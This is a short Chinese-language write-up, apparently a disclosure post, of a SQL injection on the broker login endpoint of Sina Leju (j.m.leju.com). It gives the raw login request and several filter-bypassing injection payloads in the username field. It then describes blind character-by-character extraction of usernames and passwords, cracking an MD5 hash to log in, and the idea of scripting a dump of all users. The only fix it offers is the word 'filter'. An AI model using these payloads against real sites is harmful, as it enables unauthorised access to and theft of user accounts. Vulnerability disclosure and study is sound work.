新浪乐居之绕过过滤注入漏洞分析

      新浪乐居之绕过过滤注入漏洞分析无评论

  rt

  

  经纪人后台登录口

  ?

  1

  2

  3

  4

  5

  6

  7

  8

  9

  10

  11

  12

  13

  14

  POST /login/jjhcheck HTTP/1.1

  Host: j.m.leju.com

  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:44.0) Gecko/20100101 Firefox/44.0

  Accept: */*

  Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

  Accept-Encoding: gzip, deflate

  X-Requested-With: XMLHttpRequest

  Content-Type: application/x-www-form-urlencoded

  Referer: http://j.m.leju.com/login

  Content-Length: 133

  Cookie: PHPSESSID=idtt1n80ik24sqk8pkpdpi1ia1;

  Connection: keep-alive

  username=1&password=1&city=sh

  username参数存在注入点

  过滤的比较凶狠 = < > from || && like in等都过滤了

  被检测到了

  接着

  username=1’or’1&password=1&city=sh

  表示从所有用户当中找有没有密码为1的用户 结果成功了

  接着找出用户密码字段

  ?

  1

  2

  3

  username=1′ or 1 or uid and’1&password=1&city=sh

  username=1′ or 1 or username and’1&password=1&city=sh

  username=1′ or 1 or password and’1&password=1&city=sh

  均返回

  ?

  1

  {“status”:1,”msg”:null}

  字段不存在则返回

  ?

  1

  {“status”:1,”msg”:”/u7528/u6237/u540d/u4e0d/u5b58/u5728″}

  接着确定一个uid

  ?

  1

  username=1′ or 1 and uid between 9995 and 9995 and’1&password=1&city=sh

  返回正常 表示存在uid为9995的用户

  接着同理注出用户名和密码

  106正常107异常所以第一位ascii码为106

  注出用户名后接着注出密码

  解密md5后成功登录

  运气不好一个空号

  写个脚本轻轻松松dump所有用户

  已证明

  解决方案

  过滤

发表评论